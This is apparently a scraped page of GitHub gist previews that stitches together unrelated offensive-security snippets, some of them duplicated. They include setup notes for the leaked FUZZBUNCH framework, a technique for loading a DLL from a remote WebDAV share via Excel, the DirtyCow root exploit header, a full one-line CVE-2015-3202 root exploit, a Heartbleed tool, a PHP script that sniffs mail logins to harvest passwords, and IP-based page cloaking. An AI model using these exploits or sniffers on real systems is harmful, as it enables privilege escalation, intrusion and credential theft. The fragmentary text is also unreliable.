(^ that's a short-link to this page, so you can open it in Linux)
Some users are discussing this guide in #hacking on the JoyConDroid Discord: https://discord.gg/SQNEx9v.
DO NOT ask for, or share links to, Amiibo bins in the comments! They will be removed. Thank you for understanding.
credit: @GossiTheDog: "If you want to setup FUZZBUNCH (the Equation exploit framework) you need Win7 VM + Python 2.6 + Pywin 2.6, then python fb.py for shell"
h/t @x0rz @DEYCrypt @hackerfantastic
context: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
writeup: https://www.trustedsec.com/blog/equation-group-dump-analysis-full-rce-win7-fully-patched-cobalt-strike/
decrypted files: https://github.com/x0rz/EQGRP_Lost_in_Translation
A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.
When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.
The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN
The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc
| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten |
| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten |
| # Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet. | |
| 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 | |
| a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 | |
| # Here's how it works, $a holds the name of a shellscript to be executed as | |
| # root. | |
| a=/tmp/.$$; | |
| # $b is used twice, first to build the contents of shellscript $a, and then as |
| #!/usr/bin/python | |
| # Modified by Travis Lee | |
| # Last Updated: 4/21/14 | |
| # Version 1.16 | |
| # | |
| # -changed output to display text only instead of hexdump and made it easier to read | |
| # -added option to specify number of times to connect to server (to get more data) | |
| # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... | |
| # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) |
| <?php | |
| // Read in the users to find passwords for. | |
| $users = array(); | |
| foreach (file('users-to-find.txt') as $line) | |
| { | |
| $users[] = trim($line); | |
| } | |
| // Create the tcpdump command to search for all pop3 and imap login traffic |
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <WinInet.h> | |
| #include <ntsecapi.h> | |
| void writeToLog(const char* szString) | |
| { | |
| FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); | |
| if (NULL == pFile) | |
| { |
| <?php | |
| header("Content-type: text/html; charset=utf-8"); | |
| $verification = '安徽省';//需要屏蔽省份的IP | |
| $ip = $_SERVER['REMOTE_ADDR'];//获取访客IP | |
| $antecedents = $_SERVER['HTTP_REFERER'];//访客来路地址 | |
| $result = file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$ip); | |
| $address = json_decode($result,true); | |
| //判断访客是否属于广东省，是否来自百度，是否来自谷歌 | |
| if($address['data']['region'] == $verification && strpos($antecedents, 'baidu') === false && strpos($antecedents, 'google') === false){ |
